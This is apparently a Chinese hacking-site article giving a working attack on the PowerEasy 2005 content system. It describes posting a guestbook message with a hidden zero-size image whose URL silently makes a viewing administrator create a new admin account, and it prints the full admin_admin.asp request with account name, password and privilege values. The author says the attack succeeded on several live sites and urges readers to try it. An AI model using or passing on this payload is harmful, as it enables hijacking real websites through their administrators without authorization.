动易2005里面，留言的时候存在一个XSS。
攻击方法如下 ：
首先在网站注册一个普通会员，然后去GUESTBOOK留言，在插入图片的时候地址写上(建议在原代码里面把图片的高度与宽度都设... 08-10-08
动易2005里面，留言的时候存在一个xss。
攻击方法如下 ：
首先在网站注册一个普通会员，然后去guestbook留言，在插入图片的时候地址写上(建议在原代码里面把图片的高度与宽度都设置成0，这样在图片前面加上这个连接，基本上就看不见图片了，图片的连接却被管理员解吸执行了)：
http://localhost/powereasy/admin/admin_admin.asp?adminname=xiaod&username=xiaod&password=123456&pwdconfirm=123456&purview=1&action=saveadd
上面是本地测试地址。
只要你的留言写的足够诱惑，只要管理员一看，就ok了，他回复了你，你就是后台管理员了···
我自己测试了几个站，结果都成功了，呵呵。大家也可以去测试一下，通杀了 sql 与ac版···
如您对本文有疑问或者有任何想说的，请
点击进行留言回复，万千网友为您解惑！
相关文章:
-
-
-
论坛通用入侵一条龙教学(图)
目前网上有种新的趋势，黑客们的攻击目标开始从网站延伸到论坛和聊天室及留言板等公共场所，而许多用户的论坛密码竟然与E-mail和QQ的密码完全相同，因此对大家的网...
[阅读全文]
-
-
追踪入侵JSP网站服务器
在用JSP制作的电子商务网站多如牛毛。但是对于JSP网站而言，安全性真的能够让人放心吗？面对层出不穷的黑客攻击和病毒袭击，JSP网站的服务器能够比其他网站的服务...
[阅读全文]
-
-
-
-
-
-
-
我要评论
网友评论